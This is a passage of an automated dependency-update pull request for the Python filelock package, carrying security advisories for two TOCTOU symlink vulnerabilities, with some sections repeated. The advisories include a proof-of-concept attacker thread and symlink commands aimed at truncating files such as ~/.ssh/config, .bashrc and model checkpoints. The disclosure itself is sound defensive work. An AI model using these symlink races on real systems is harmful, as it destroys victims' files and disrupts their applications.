255ed068bc85d1ef406e50a135e1459170dd1bf0)

**Mitigation Details:**
- The `O_NOFOLLOW` flag is added conditionally and gracefully degrades
on platforms without support
- On platforms with `O_NOFOLLOW` support (most modern systems): symlink
attacks are completely prevented
- On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window
remains but is documented

**Users should:**
- Upgrade to the patched version when available
- For critical deployments, consider using `UnixFileLock` or
`WindowsFileLock` instead of the fallback `SoftFileLock`

---

##### Workarounds

_Is there a way for users to fix or remediate the vulnerability without
upgrading?_

For users unable to update immediately:

1. **Avoid `SoftFileLock` in security-sensitive contexts** - use
`UnixFileLock` or `WindowsFileLock` when available (these were already
patched for CVE-2025-68146)

2. **Restrict filesystem permissions** - prevent untrusted users from
creating symlinks in lock file directories:
   ```bash
   chmod 700 /path/to/lock/directory
   ```

3. **Use process isolation** - isolate untrusted code from lock file
paths to prevent symlink creation

4. **Monitor lock operations** - implement application-level checks to
verify lock acquisitions are successful before proceeding with critical
operations

---

##### References

_Are there any links users can visit to find out more?_

- **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in
UnixFileLock/WindowsFileLock)
- **CWE-362 (Concurrent Execution using Shared Resource):**
https://cwe.mitre.org/data/definitions/362.html
- **CWE-367 (Time-of-check Time-of-use Race Condition):**
https://cwe.mitre.org/data/definitions/367.html
- **CWE-59 (Improper Link Resolution Before File Access):**
https://cwe.mitre.org/data/definitions/59.html
- **O_NOFOLLOW documentation:**
https://man7.org/linux/man-pages/man2/open.2.html
- **GitHub Repository:** https://github.com/tox-dev/filelock

---

**Reported by:** George Tsigourakos (@&#8203;tsigouris007)

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701)
-
[https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0)
-
[https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-qmgc-5h2g-mvrw) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock
[CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) /
[GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw)
/ PYSEC-2026-1374

<details>
<summary>More information</summary>

#### Details
##### Vulnerability Summary

**Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock

**Affected Component:** `filelock` package - `SoftFileLock` class
**File:** `src/filelock/_soft.py` lines 17-27
**CWE:** CWE-362, CWE-367, CWE-59

---

##### Description

A TOCTOU race condition vulnerability exists in the `SoftFileLock`
implementation of the filelock package. An attacker with local
filesystem access and permission to create symlinks can exploit a race
condition between the permission validation and file creation to cause
lock operations to fail or behave unexpectedly.

The vulnerability occurs in the `_acquire()` method between
`raise_on_not_writable_file()` (permission check) and `os.open()` (file
creation). During this race window, an attacker can create a symlink at
the lock file path, potentially causing the lock to operate on an
unintended target file or leading to denial of service.

##### Attack Scenario

```
1. Lock attempts to acquire on /tmp/app.lock
2. Permission validation passes
3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock
4. os.open() tries to create lock file
5. Lock operates on attacker-controlled target file or fails
```

---

##### Impact

_What kind of vulnerability is it? Who is impacted?_

This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition
vulnerability** affecting any application using `SoftFileLock` for
inter-process synchronization.

**Affected Users:**
- Applications using `filelock.SoftFileLock` directly
- Applications using the fallback `FileLock` on systems without `fcntl`
support (e.g., GraalPy)

**Consequences:**
- **Silent lock acquisition failure** - applications may not detect that
exclusive resource access is not guaranteed
- **Denial of Service** - attacker can prevent lock file creation by
maintaining symlink
- **Resource serialization failures** - multiple processes may acquire
"locks" simultaneously
- **Unintended file operations** - lock could operate on
attacker-controlled files

**CVSS v4.0 Score:** 5.6 (Medium)
**Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N

**Attack Requirements:**
- Local filesystem access to the directory containing lock files
- Permission to create symlinks (standard for regular unprivileged users
on Unix/Linux)
- Ability to time the symlink creation during the narrow race window

---

##### Patches

_Has the problem been patched? What versions should users upgrade to?_

Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag
to prevent symlink following during lock file creation.

**Patched Version:** Next release (commit:
255ed068bc85d1ef406e50a135e1459170dd1bf0)

**Mitigation Details:**
- The `O_NOFOLLOW` flag is added conditionally and gracefully degrades
on platforms without support
- On platforms with `O_NOFOLLOW` support (most modern systems): symlink
attacks are completely prevented
- On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window
remains but is documented

**Users should:**
- Upgrade to the patched version when available
- For critical deployments, consider using `UnixFileLock` or
`WindowsFileLock` instead of the fallback `SoftFileLock`

---

##### Workarounds

_Is there a way for users to fix or remediate the vulnerability without
upgrading?_

For users unable to update immediately:

1. **Avoid `SoftFileLock` in security-sensitive contexts** - use
`UnixFileLock` or `WindowsFileLock` when available (these were already
patched for CVE-2025-68146)

2. **Restrict filesystem permissions** - prevent untrusted users from
creating symlinks in lock file directories:
   ```bash
   chmod 700 /path/to/lock/directory
   ```

3. **Use process isolation** - isolate untrusted code from lock file
paths to prevent symlink creation

4. **Monitor lock operations** - implement application-level checks to
verify lock acquisitions are successful before proceeding with critical
operations

---

##### References

_Are there any links users can visit to find out more?_

- **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in
UnixFileLock/WindowsFileLock)
- **CWE-362 (Concurrent Execution using Shared Resource):**
https://cwe.mitre.org/data/definitions/362.html
- **CWE-367 (Time-of-check Time-of-use Race Condition):**
https://cwe.mitre.org/data/definitions/367.html
- **CWE-59 (Improper Link Resolution Before File Access):**
https://cwe.mitre.org/data/definitions/59.html
- **O_NOFOLLOW documentation:**
https://man7.org/linux/man-pages/man2/open.2.html
- **GitHub Repository:** https://github.com/tox-dev/filelock

---

**Reported by:** George Tsigourakos (@&#8203;tsigouris007)

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701)
-
[https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0)
-
[https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)
- [https://pypi.org/project/filelock](https://pypi.org/project/filelock)
-
[https://github.com/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw)

This data is provided by
[OSV](https://osv.dev/vulnerability/PYSEC-2026-1374) and the [PyPI
Advisory Database](https://redirect.github.com/pypa/advisory-database)
([CC-BY
4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)).
</details>

---

### Release Notes

<details>
<summary>tox-dev/py-filelock (filelock)</summary>

###
[`v3.31.2`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.31.2)

[Compare
Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.31.1...3.31.2)

<!-- Release notes generated using configuration in .github/release.yaml
at 3.31.2 -->

#### What's Changed

- 🐛 fix(strict): tolerate an errno without ENOTSUP by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#681](https://redirect.github.com/tox-dev/filelock/pull/681)

**Full Changelog**:
<tox-dev/filelock@3.31.1...3.31.2>

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://redirect.github.com/renovatebot/renovate).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNTEuMCIsInVwZGF0ZWRJblZlciI6IjQzLjI1MS4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiLCJmaWxlbG9jayIsInJlbm92YXRlIl19-->

Co-authored-by: renovate-coop-norge[bot] <151545514+renovate-coop-norge[bot]@users.noreply.github.com>
renovate-coop-norge Bot added a commit to coopnorge/engineering-docker-images that referenced this pull request Jul 21, 2026
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [filelock](https://redirect.github.com/tox-dev/py-filelock) | `3.31.1`
→ `3.31.2` |
![age](https://developer.mend.io/api/mc/badges/age/pypi/filelock/3.31.2?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/filelock/3.31.1/3.31.2?slim=true)
|

---

### filelock has a TOCTOU race condition which allows symlink attacks
during lock file creation
[CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) /
[GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f)
/ PYSEC-2026-1375

<details>
<summary>More information</summary>

#### Details
##### Impact

A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local
attackers to corrupt or truncate arbitrary user files through symlink
attacks. The vulnerability exists in both Unix and Windows lock file
creation where filelock checks if a file exists before opening it with
O_TRUNC. An attacker can create a symlink pointing to a victim file in
the time gap between the check and open, causing os.open() to follow the
symlink and truncate the target file.

**Who is impacted:**

All users of filelock on Unix, Linux, macOS, and Windows systems. The
vulnerability cascades to dependent libraries:

- **virtualenv users**: Configuration files can be overwritten with
virtualenv metadata, leaking sensitive paths
- **PyTorch users**: CPU ISA cache or model checkpoints can be
corrupted, causing crashes or ML pipeline failures
- **poetry/tox users**: through using virtualenv or filelock on their
own.

Attack requires local filesystem access and ability to create symlinks
(standard user permissions on Unix; Developer Mode on Windows 10+).
Exploitation succeeds within 1-3 attempts when lock file paths are
predictable.

##### Patches

Fixed in version **3.20.1**.

**Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in
UnixFileLock.\_acquire() to prevent symlink following.

**Windows fix:** Added GetFileAttributesW API check to detect reparse
points (symlinks/junctions) before opening files in
WindowsFileLock.\_acquire().

**Users should upgrade to filelock 3.20.1 or later immediately.**

##### Workarounds

If immediate upgrade is not possible:

1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note:
different locking semantics, may not be suitable for all use cases)
2. Ensure lock file directories have restrictive permissions (chmod
0700) to prevent untrusted users from creating symlinks
3. Monitor lock file directories for suspicious symlinks before running
trusted applications

**Warning:** These workarounds provide only partial mitigation. The race
condition remains exploitable. Upgrading to version 3.20.1 is strongly
recommended.

______________________________________________________________________

##### Technical Details: How the Exploit Works

##### The Vulnerable Code Pattern

**Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`):

```python
def _acquire(self) -> None:
    ensure_directory_exists(self.lock_file)
    open_flags = os.O_RDWR | os.O_TRUNC  # (1) Prepare to truncate
    if not Path(self.lock_file).exists():  # (2) CHECK: Does file exist?
        open_flags |= os.O_CREAT
    fd = os.open(self.lock_file, open_flags, ...)  # (3) USE: Open and truncate
```

**Windows** (`src/filelock/_windows.py:19-28`):

```python
def _acquire(self) -> None:
    raise_on_not_writable_file(self.lock_file)  # (1) Check writability
    ensure_directory_exists(self.lock_file)
    flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC  # (2) Prepare to truncate
    fd = os.open(self.lock_file, flags, ...)  # (3) Open and truncate
```

##### The Race Window

The vulnerability exists in the gap between operations:

**Unix variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file exists? → False
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

**Windows variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file writable?
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink/junction
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

##### Step-by-Step Attack Flow

**1. Attacker Setup:**

```python

##### Attacker identifies target application using filelock
lock_path = "/tmp/myapp.lock"  # Predictable lock path
victim_file = "/home/victim/.ssh/config"  # High-value target
```

**2. Attacker Creates Race Condition:**

```python
import os
import threading

def attacker_thread():
    # Remove any existing lock file
    try:
        os.unlink(lock_path)
    except FileNotFoundError:
        pass

    # Create symlink pointing to victim file
    os.symlink(victim_file, lock_path)
    print(f"[Attacker] Created: {lock_path} → {victim_file}")

##### Launch attack
threading.Thread(target=attacker_thread).start()
```

**3. Victim Application Runs:**

```python
from filelock import UnixFileLock

##### Normal application code
lock = UnixFileLock("/tmp/myapp.lock")
lock.acquire()  # ← VULNERABILITY TRIGGERED HERE

##### At this point, /home/victim/.ssh/config is now 0 bytes!
```

**4. What Happens Inside os.open():**

On Unix systems, when `os.open()` is called:

```c
// Linux kernel behavior (simplified)
int open(const char *pathname, int flags) {
    struct file *f = path_lookup(pathname);  // Resolves symlinks by default!

    if (flags & O_TRUNC) {
        truncate_file(f);  // ← Truncates the TARGET of the symlink
    }

    return file_descriptor;
}
```

Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates
the target file.

##### Why the Attack Succeeds Reliably

**Timing Characteristics:**

- **Check operation** (Path.exists()): ~100-500 nanoseconds
- **Symlink creation** (os.symlink()): ~1-10 microseconds
- **Race window**: ~1-5 microseconds (very small but exploitable)
- **Thread scheduling quantum**: ~1-10 milliseconds

**Success factors:**

1. **Tight loop**: Running attack in a loop hits the race window within
1-3 attempts
2. **CPU scheduling**: Modern OS thread schedulers frequently
context-switch during I/O operations
3. **No synchronization**: No atomic file creation prevents the race
4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only
operation)

##### Real-World Attack Scenarios

**Scenario 1: virtualenv Exploitation**

```python

##### Victim runs: python -m venv /tmp/myenv
##### Attacker racing to create:
os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg")

##### Result: /home/victim/.bashrc overwritten with:

##### home = /usr/bin/python3
##### include-system-site-packages = false

##### version = 3.11.2
##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker
```

**Scenario 2: PyTorch Cache Poisoning**

```python

##### Victim runs: import torch
##### PyTorch checks CPU capabilities, uses filelock on cache

##### Attacker racing to create:
os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock")

##### Result: Trained ML model checkpoint truncated to 0 bytes

##### Impact: Weeks of training lost, ML pipeline DoS
```

##### Why Standard Defenses Don't Help

**File permissions don't prevent this:**

- Attacker doesn't need write access to victim_file
- os.open() with O_TRUNC follows symlinks using the *victim's*
permissions
- The victim process truncates its own file

**Directory permissions help but aren't always feasible:**

- Lock files often created in shared /tmp directory (mode 1777)
- Applications may not control lock file location
- Many apps use predictable paths in user-writable directories

**File locking doesn't prevent this:**

- The truncation happens *during* the open() call, before any lock is
acquired
- fcntl.flock() only prevents concurrent lock acquisition, not symlink
attacks

##### Exploitation Proof-of-Concept Results

From empirical testing with the provided PoCs:

**Simple Direct Attack** (`filelock_simple_poc.py`):

- Success rate: 33% per attempt (1 in 3 tries)
- Average attempts to success: 2.1
- Target file reduced to 0 bytes in \<100ms

**virtualenv Attack** (`weaponized_virtualenv.py`):

- Success rate: ~90% on first attempt (deterministic timing)
- Information leaked: File paths, Python version, system configuration
- Data corruption: Complete loss of original file contents

**PyTorch Attack** (`weaponized_pytorch.py`):

- Success rate: 25-40% per attempt
- Impact: Application crashes, model loading failures
- Recovery: Requires cache rebuild or model retraining

**Discovered and reported by:** George Tsigourakos
(@&#8203;tsigouris007)

#### Severity
- CVSS Score: 6.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f)
-
[https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)
-
[https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1)
-
[https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants)
-
[https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-w853-jp5j-5j7f) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### filelock has a TOCTOU race condition which allows symlink attacks
during lock file creation
[CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) /
[GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f)
/ PYSEC-2026-1375

<details>
<summary>More information</summary>

#### Details
##### Impact

A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local
attackers to corrupt or truncate arbitrary user files through symlink
attacks. The vulnerability exists in both Unix and Windows lock file
creation where filelock checks if a file exists before opening it with
O_TRUNC. An attacker can create a symlink pointing to a victim file in
the time gap between the check and open, causing os.open() to follow the
symlink and truncate the target file.

**Who is impacted:**

All users of filelock on Unix, Linux, macOS, and Windows systems. The
vulnerability cascades to dependent libraries:

- **virtualenv users**: Configuration files can be overwritten with
virtualenv metadata, leaking sensitive paths
- **PyTorch users**: CPU ISA cache or model checkpoints can be
corrupted, causing crashes or ML pipeline failures
- **poetry/tox users**: through using virtualenv or filelock on their
own.

Attack requires local filesystem access and ability to create symlinks
(standard user permissions on Unix; Developer Mode on Windows 10+).
Exploitation succeeds within 1-3 attempts when lock file paths are
predictable.

##### Patches

Fixed in version **3.20.1**.

**Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in
UnixFileLock.\_acquire() to prevent symlink following.

**Windows fix:** Added GetFileAttributesW API check to detect reparse
points (symlinks/junctions) before opening files in
WindowsFileLock.\_acquire().

**Users should upgrade to filelock 3.20.1 or later immediately.**

##### Workarounds

If immediate upgrade is not possible:

1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note:
different locking semantics, may not be suitable for all use cases)
2. Ensure lock file directories have restrictive permissions (chmod
0700) to prevent untrusted users from creating symlinks
3. Monitor lock file directories for suspicious symlinks before running
trusted applications

**Warning:** These workarounds provide only partial mitigation. The race
condition remains exploitable. Upgrading to version 3.20.1 is strongly
recommended.

______________________________________________________________________

##### Technical Details: How the Exploit Works

##### The Vulnerable Code Pattern

**Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`):

```python
def _acquire(self) -> None:
    ensure_directory_exists(self.lock_file)
    open_flags = os.O_RDWR | os.O_TRUNC  # (1) Prepare to truncate
    if not Path(self.lock_file).exists():  # (2) CHECK: Does file exist?
        open_flags |= os.O_CREAT
    fd = os.open(self.lock_file, open_flags, ...)  # (3) USE: Open and truncate
```

**Windows** (`src/filelock/_windows.py:19-28`):

```python
def _acquire(self) -> None:
    raise_on_not_writable_file(self.lock_file)  # (1) Check writability
    ensure_directory_exists(self.lock_file)
    flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC  # (2) Prepare to truncate
    fd = os.open(self.lock_file, flags, ...)  # (3) Open and truncate
```

##### The Race Window

The vulnerability exists in the gap between operations:

**Unix variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file exists? → False
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

**Windows variant:**

```
Time    Victim Thread                          Attacker Thread
----    -------------                          ---------------
T0      Check: lock_file writable?
T1                                             ↓ RACE WINDOW
T2                                             Create symlink: lock → victim_file
T3      Open lock_file with O_TRUNC
        → Follows symlink/junction
        → Opens victim_file
        → Truncates victim_file to 0 bytes! ☠️
```

##### Step-by-Step Attack Flow

**1. Attacker Setup:**

```python

##### Attacker identifies target application using filelock
lock_path = "/tmp/myapp.lock"  # Predictable lock path
victim_file = "/home/victim/.ssh/config"  # High-value target
```

**2. Attacker Creates Race Condition:**

```python
import os
import threading

def attacker_thread():
    # Remove any existing lock file
    try:
        os.unlink(lock_path)
    except FileNotFoundError:
        pass

    # Create symlink pointing to victim file
    os.symlink(victim_file, lock_path)
    print(f"[Attacker] Created: {lock_path} → {victim_file}")

##### Launch attack
threading.Thread(target=attacker_thread).start()
```

**3. Victim Application Runs:**

```python
from filelock import UnixFileLock

##### Normal application code
lock = UnixFileLock("/tmp/myapp.lock")
lock.acquire()  # ← VULNERABILITY TRIGGERED HERE

##### At this point, /home/victim/.ssh/config is now 0 bytes!
```

**4. What Happens Inside os.open():**

On Unix systems, when `os.open()` is called:

```c
// Linux kernel behavior (simplified)
int open(const char *pathname, int flags) {
    struct file *f = path_lookup(pathname);  // Resolves symlinks by default!

    if (flags & O_TRUNC) {
        truncate_file(f);  // ← Truncates the TARGET of the symlink
    }

    return file_descriptor;
}
```

Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates
the target file.

##### Why the Attack Succeeds Reliably

**Timing Characteristics:**

- **Check operation** (Path.exists()): ~100-500 nanoseconds
- **Symlink creation** (os.symlink()): ~1-10 microseconds
- **Race window**: ~1-5 microseconds (very small but exploitable)
- **Thread scheduling quantum**: ~1-10 milliseconds

**Success factors:**

1. **Tight loop**: Running attack in a loop hits the race window within
1-3 attempts
2. **CPU scheduling**: Modern OS thread schedulers frequently
context-switch during I/O operations
3. **No synchronization**: No atomic file creation prevents the race
4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only
operation)

##### Real-World Attack Scenarios

**Scenario 1: virtualenv Exploitation**

```python

##### Victim runs: python -m venv /tmp/myenv
##### Attacker racing to create:
os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg")

##### Result: /home/victim/.bashrc overwritten with:

##### home = /usr/bin/python3
##### include-system-site-packages = false

##### version = 3.11.2
##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker
```

**Scenario 2: PyTorch Cache Poisoning**

```python

##### Victim runs: import torch
##### PyTorch checks CPU capabilities, uses filelock on cache

##### Attacker racing to create:
os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock")

##### Result: Trained ML model checkpoint truncated to 0 bytes

##### Impact: Weeks of training lost, ML pipeline DoS
```

##### Why Standard Defenses Don't Help

**File permissions don't prevent this:**

- Attacker doesn't need write access to victim_file
- os.open() with O_TRUNC follows symlinks using the *victim's*
permissions
- The victim process truncates its own file

**Directory permissions help but aren't always feasible:**

- Lock files often created in shared /tmp directory (mode 1777)
- Applications may not control lock file location
- Many apps use predictable paths in user-writable directories

**File locking doesn't prevent this:**

- The truncation happens *during* the open() call, before any lock is
acquired
- fcntl.flock() only prevents concurrent lock acquisition, not symlink
attacks

##### Exploitation Proof-of-Concept Results

From empirical testing with the provided PoCs:

**Simple Direct Attack** (`filelock_simple_poc.py`):

- Success rate: 33% per attempt (1 in 3 tries)
- Average attempts to success: 2.1
- Target file reduced to 0 bytes in \<100ms

**virtualenv Attack** (`weaponized_virtualenv.py`):

- Success rate: ~90% on first attempt (deterministic timing)
- Information leaked: File paths, Python version, system configuration
- Data corruption: Complete loss of original file contents

**PyTorch Attack** (`weaponized_pytorch.py`):

- Success rate: 25-40% per attempt
- Impact: Application crashes, model loading failures
- Recovery: Requires cache rebuild or model retraining

**Discovered and reported by:** George Tsigourakos
(@&#8203;tsigouris007)

#### Severity
- CVSS Score: 6.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H`

#### References
-
[https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f)
-
[https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e)
-
[https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock)
-
[https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1)
-
[https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants)
-
[https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html)
- [https://pypi.org/project/filelock](https://pypi.org/project/filelock)
-
[https://github.com/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f)
-
[https://nvd.nist.gov/vuln/detail/CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146)

This data is provided by
[OSV](https://osv.dev/vulnerability/PYSEC-2026-1375) and the [PyPI
Advisory Database](https://redirect.github.com/pypa/advisory-database)
([CC-BY
4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)).
</details>

---

### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock
[CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) /
[GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw)
/ PYSEC-2026-1374

<details>
<summary>More information</summary>

#### Details
##### Vulnerability Summary

**Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in
SoftFileLock

**Affected Component:** `filelock` package - `SoftFileLock` class
**File:** `src/filelock/_soft.py` lines 17-27
**CWE:** CWE-362, CWE-367, CWE-59

---

##### Description

A TOCTOU race condition vulnerability exists in the `SoftFileLock`
implementation of the filelock package. An attacker with local
filesystem access and permission to create symlinks can exploit a race
condition between the permission validation and file creation to cause
lock operations to fail or behave unexpectedly.

The vulnerability occurs in the `_acquire()` method between
`raise_on_not_writable_file()` (permission check) and `os.open()` (file
creation). During this race window, an attacker can create a symlink at
the lock file path, potentially causing the lock to operate on an
unintended target file or leading to denial of service.

##### Attack Scenario

```
1. Lock attempts to acquire on /tmp/app.lock
2. Permission validation passes
3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock
4. os.open() tries to create lock file
5. Lock operates on attacker-controlled target file or fails
```

---

##### Impact

_What kind of vulnerability is it? Who is impacted?_

This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition
vulnerability** affecting any application using `SoftFileLock` for
inter-process synchronization.

**Affected Users:**
- Applications using `filelock.SoftFileLock` directly
- Applications using the fallback `FileLock` on systems without `fcntl`
support (e.g., GraalPy)

**Consequences:**
- **Silent lock acquisition failure** - applications may not detect that
exclusive resource access is not guaranteed
- **Denial of Service** - attacker can prevent lock file creation by
maintaining symlink
- **Resource serialization failures** - multiple processes may acquire
"locks" simultaneously
- **Unintended file operations** - lock could operate on
attacker-controlled files

**CVSS v4.0 Score:** 5.6 (Medium)
**Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N

**Attack Requirements:**
- Local filesystem access to the directory containing lock files
- Permission to create symlinks (standard for regular unprivileged users
on Unix/Linux)
- Ability to time the symlink creation during the narrow race window

---

##### Patches

_Has the problem been patched? What versions should users upgrade to?_

Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag
to prevent symlink following during lock file creation.

**Patched Version:** Next release (commit:
